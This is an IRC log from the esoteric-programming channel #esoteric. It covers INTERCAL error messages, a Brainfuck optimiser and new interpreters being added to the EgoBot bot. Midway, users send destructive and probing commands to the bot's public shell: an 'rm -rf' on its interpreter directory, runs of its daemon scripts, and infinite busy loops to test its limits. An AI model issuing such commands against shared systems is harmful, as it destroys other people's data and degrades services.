RESUBNIT < 1241378333 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what < 1241378334 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Which is probably correct X-P < 1241378338 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, it is < 1241378341 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there was a bug in my program < 1241378342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is 00001 < 1241378345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241378349 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :0001* < 1241378354 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :try DO .1 <- #130~#125 DO READ OUT .1 PLEASE GIVE UP < 1241378360 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :isn't it internal compiler error < 1241378366 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, 000 is syntax error < 1241378370 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241378376 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, where is the funny message < 1241378387 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the funny message is the line that errored < 1241378392 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :writing amusing syntax errors is encouraged < 1241378429 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :like the famous PLEASE KNOCK BEFORE ENTERING at the start of syslib < 1241378445 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :OK, got it working. < 1241378447 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :On its way up. < 1241378457 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241378457 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello intercal kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241378462 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Hai. < 1241378464 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :not there yet, obviously < 1241378467 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ACTION is impatient < 1241378467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw I will accept patch for TRDS to cfunge. Under three conditions: 1) No slowdown for programs not using it. 2) No increase in memory usage for programs not using it. 3) No mess up in the core code of cfunge. < 1241378468 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;P < 1241378474 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well the third one < 1241378479 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :should be: < 1241378480 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can't do 1) < 1241378483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"no *big* messup" < 1241378487 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or well, yes you can < 1241378491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, then I won't implement it. Simply < 1241378492 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But then you need to open the file again < 1241378510 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :does TRDS work retrospectively, from before you loaded the fingerprint? < 1241378512 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And it might have disappeared in the meantime, so it's not very robust < 1241378512 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Which should it run when you type !intercal ? < 1241378513 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(Or should that just be invalid) < 1241378519 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or accept a patch for it either. Well I could accept a patch to build both cfunge and cfunge.trds < 1241378524 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: You need to keep a copy of the initial funge-space to be able to roll back time < 1241378532 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: By default, you can just overwrite it as you run. < 1241378534 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: may as well make it invalid, C-INTERCAL is more popular but that's just bias < 1241378548 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, no increase in memory usage also includes "not a single byte added to ip struct" < 1241378550 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and so on < 1241378556 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :C-INTERCAL's a lot faster, so that might help for simple programs; OTOH gcc's rather slow, so it might hinder < 1241378567 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pastie.org/private/j5veaiikl1x8vtwm0ov2ta < 1241378568 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :er < 1241378569 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :20:54:46 so far i got hello world program almost optimized: http://pastie.org/private/j5veaiikl1x8vtwm0ov2ta . hehe. < 1241378573 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oh my god have my babies :| < 1241378580 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which lang/ < 1241378582 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*? < 1241378589 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, only the extra memory from the extra code itself is allowed < 1241378599 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I think at least one global array for "TRDS IP data" would be required < 1241378609 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could use malloc on first load < 1241378612 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: err, look at the paste < 1241378614 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Your TRDS impl would be butt-slow under those conditions, though :-P < 1241378615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, one pointer. < 1241378616 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :-DICK_HAVE_STDINT_H=1 < 1241378616 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :python < 1241378620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :static one. < 1241378624 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ehird: but how do I know it isn't an ascii art rickroll? < 1241378624 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :add ruby < 1241378625 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, oh that wouldn't be allowed either. < 1241378628 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Dicks have stds. < 1241378629 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :OK, it's installed. < 1241378635 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Your loss. < 1241378635 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Integral STDs. < 1241378636 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so not an option then :) < 1241378645 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Here's the juice: < 1241378645 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Meh, you're no fun < 1241378646 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : mptr[0] = 0; < 1241378647 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : mptr[1] = 87; < 1241378648 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : mptr[2] = 100; < 1241378649 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, haha at that program (I did look at it) < 1241378650 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : mptr[3] = 33; < 1241378652 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : mptr[4] = 10; < 1241378654 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241378654 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c c-intercal clc-intercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241378655 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : printf("Hello World!\n"); < 1241378657 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Compiled from BF < 1241378658 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and ah < 1241378660 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 20:54:46 so far i got hello world program almost optimized: http://pastie.org/private/j5veaiikl1x8vtwm0ov2ta . hehe. < 1241378660 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: it isn't a special caser < 1241378662 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that < 1241378663 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: it really optimizes it to that < 1241378664 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is cool < 1241378668 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1241378670 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :now I have to beat it < 1241378672 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ehird: yes, presumably it's constant-folding prints? < 1241378678 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: also polynomials I think < 1241378686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, got a link to download < 1241378687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1241378689 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I can beat it by recognizing that those cells's values aren't used anywhere else < 1241378690 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no < 1241378693 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but yeah, I can get < 1241378696 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : printf("Hello World!\n"); < 1241378698 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure < 1241378707 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :char mem[30000], *mptr = mem; ← No segfault-handler-to-resize-tape fail :-) < 1241378712 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : I can beat it by recognizing that those cells's values aren't used anywhere else < 1241378713 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1241378718 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :he could add that too < 1241378719 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :trivially < 1241378728 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :sure. < 1241378733 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but will he get bored first? < 1241378737 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Not if it's on the stack, you won't have a segfault if you step /barely/ over. < 1241378749 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: mprotect, mmap < 1241378750 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :YO. < 1241378755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, once he add that there is nothing more to add. Well he can see "char mem[30000], *mptr = mem;" isn't needed either. < 1241378759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and remove that < 1241378761 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Hence "not _IF IT'S ON THE STACK_" < 1241378765 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: nothing more to add for that program < 1241378768 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but I can beat it on others < 1241378781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, about what < 1241378782 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c-intercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL < 1241378785 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, yes. < 1241378801 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!clc-intercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL < 1241378803 0 :KingOfKarlsruhe!unknown@unknown.invalid QUIT :Remote closed the connection < 1241378808 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: !cintercal, not c-intercal, I'd guess < 1241378811 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :he doesn't have any -s in others < 1241378812 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!Help < 1241378813 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!cintercal BUTT! < 1241378815 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241378815 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241378815 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c c-intercal clc-intercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241378816 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c c-intercal clc-intercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241378816 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh sh** < 1241378818 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Hahahah < 1241378823 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't support commands with - in them. < 1241378824 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Wat? < 1241378826 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :So those don't work :P < 1241378831 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :*fixy* < 1241378832 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Well typing - is a pain make it cintercal < 1241378834 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ehird: GregorR added it with - but - doesn't work < 1241378842 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Well typing - is a pain make it cintercal < 1241378843 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how < 1241378849 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :cuz i said yo < 1241378850 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Now try :P < 1241378850 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :so < 1241378851 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :your keyboard layout sucks then < 1241378852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1241378853 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(With !cintercal) < 1241378854 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241378854 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241378855 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nope, I'm just lazy < 1241378857 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!cintercal AN BUTT! < 1241378858 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ICL129I PROGRAM HAS GOTTEN LOST < 1241378861 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!clcintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL < 1241378862 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ugh < 1241378863 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!cintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL < 1241378863 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it still /msg's < 1241378865 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ICL000I (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL < 1241378868 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :*997 Illegal operator 1BUT for base 2 < 1241378870 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :f that < 1241378881 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, that program was TriINTERCAL < 1241378884 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yay for not spamming channel more than that < 1241378886 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no wonder it isn't running correctly < 1241378892 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!clc-intercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL < 1241378898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!cintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL < 1241378900 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ICL000I (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL < 1241378903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!clcintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL < 1241378909 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :*997 Illegal operator 1BUT for base 2 < 1241378911 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241378918 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is the tri one < 1241379025 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo '>+[->++++<]>[<+>-]<[->+++++++++<]>[<+>-]<[->+++<]>[<+>-]<[<+>-]<.>+[->+++<]>[<+>-]<[<+>-]<.>+[->+++<]>[<+>-]<[<->-]<.>+[->+++++++<]>[<+>-]<[->+++++++<]>[<+>-]<[->++<]>[<+>-]<[<->-]<.>' | ./interps/egobf/src/egobfi8 < 1241379026 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1241379029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!cintercal PLEASE DON'T GIVE UP < 1241379030 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ICL774I RANDOM COMPILER BUG < 1241379035 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241379036 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!cintercal PLEASE DON'T GIVE UP < 1241379037 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ICL129I PROGRAM HAS GOTTEN LOST < 1241379052 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh rm -rf interps < 1241379053 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove `interps': Function not implemented < 1241379059 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls < 1241379059 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Makefile < 1241379063 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!cintercal (1) PLEASE DON'T GIVE UP < 1241379064 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ICL129I PROGRAM HAS GOTTEN LOST < 1241379069 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh ./daemon.sh < 1241379069 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :2009/05/03 18:31:09 socat[4711] E sendto(4, 0x7f8caae11080, 48, 0, AF=1 "/tmp/multibot.EgoBot", 22): No such file or directory < 1241379072 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :MWAHAHAHAHA < 1241379073 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!sh pwd < 1241379073 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1241379073 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Darn < 1241379080 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that error happens when you run off the end of a program < 1241379080 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh ./PRIVMSG < 1241379081 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.4757: line 1: ./PRIVMSG: is a directory < 1241379085 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls daemons < 1241379086 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :daemon.sh < 1241379091 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh daemons/daemon.sh < 1241379092 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :2009/05/03 18:31:31 socat[4816] E sendto(4, 0x7f17c9323080, 48, 0, AF=1 "/tmp/multibot.EgoBot", 22): No such file or directory < 1241379092 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, isn't DON'T GIVE UP for the loop thing < 1241379095 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or did I misremember < 1241379098 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, it's a no-op < 1241379100 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh daemons/fifowrap < 1241379101 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.4839: line 1: daemons/fifowrap: No such file or directory < 1241379104 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh ./fifowrap < 1241379104 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.4866: line 1: ./fifowrap: is a directory < 1241379115 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what is the one to loop forever < 1241379116 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if you want an infinite loop, try either (1) DO COME FROM (1) or DO TRY AGAIN < 1241379127 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or (1) DO (1) NEXT if you don't mind running out of stack space < 1241379127 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls | xargs echo < 1241379127 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :interps lib slox < 1241379133 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Nyaa < 1241379150 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls -R | xargs < 1241379151 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :.: interps lib slox ./interps: 1l 2l Makefile Makefile.orig adjust axo befunge bf_txtgen c-intercal cat cfunge clc-intercal dimensifuck egobch egobf gcccomp gforth_quit glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl ./interps/1l: 1l_a.bin 1l_a.c ./interps/2l: 2lc.c 2li.bin 2li.c Makefile README conv.sh ./interps/adjust: USED_VERSION adjust.bin adjust.c ./interps/axo: axopp < 1241379154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!s ls daemons/daemon.sh < 1241379156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls daemons/daemon.sh < 1241379157 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: cannot access daemons/daemon.sh: No such file or directory < 1241379175 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh sh < 1241379188 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh while true; do : done < 1241379189 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.5015: line 2: syntax error: unexpected end of file < 1241379193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh while true; do :; done < 1241379202 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :busyloop < 1241379210 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!befunge98 < 1241379212 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: what's the point of writing busyloops? they get throttled, and are killed after 30 seconds < 1241379224 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!underload (Look, I run despite all this load!)S < 1241379225 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Look, I run despite all this load! < 1241379236 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i'd like to note that "cd" does not always cd to ~ < 1241379242 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, are they limited to a per-process or a per-egobot limit < 1241379244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if you see what I mean < 1241379250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, oh < 1241379258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh pwd < 1241379259 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1241379262 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh cd; pwd < 1241379262 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot < 1241379263 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :"I'll limit you to a per-process or a per-egobot limit, if you see what I mean." < 1241379270 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: No, I discovered this locally. < 1241379277 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!underload ((!underload )SaS(:^)S):^ < 1241379277 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :If you're in a directory that doesn't exist, "cd" does nothing < 1241379277 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :!underload ((!underload )SaS(:^)S):^ < 1241379280 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : "I'll limit you to a per-process or a per-egobot limit, if you see what I mean." < 1241379281 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241379283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what < 1241379293 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean < 1241379302 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :will enough limited processes clog things up < 1241379328 0 :puzzlet!unknown@unknown.invalid QUIT :Remote closed the connection < 1241379331 0 :puzzlet!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1241379337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, each one get an equal amount from a max. Or each one has a fixed limit < 1241379342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so more ones add up < 1241379345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, ^ < 1241379359 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :More ones do add up. < 1241379383 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Again, this is more about preventing mistakes from killing things than stopping malicious users from being asshats. < 1241379387 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, so if you limit each to 10%, then two running processes will use 20%? < 1241379396 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Roughly speaking. < 1241379417 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes roughly ofc... < 1241379470 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S < 1241379470 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :+ul (!underload (a(!underload 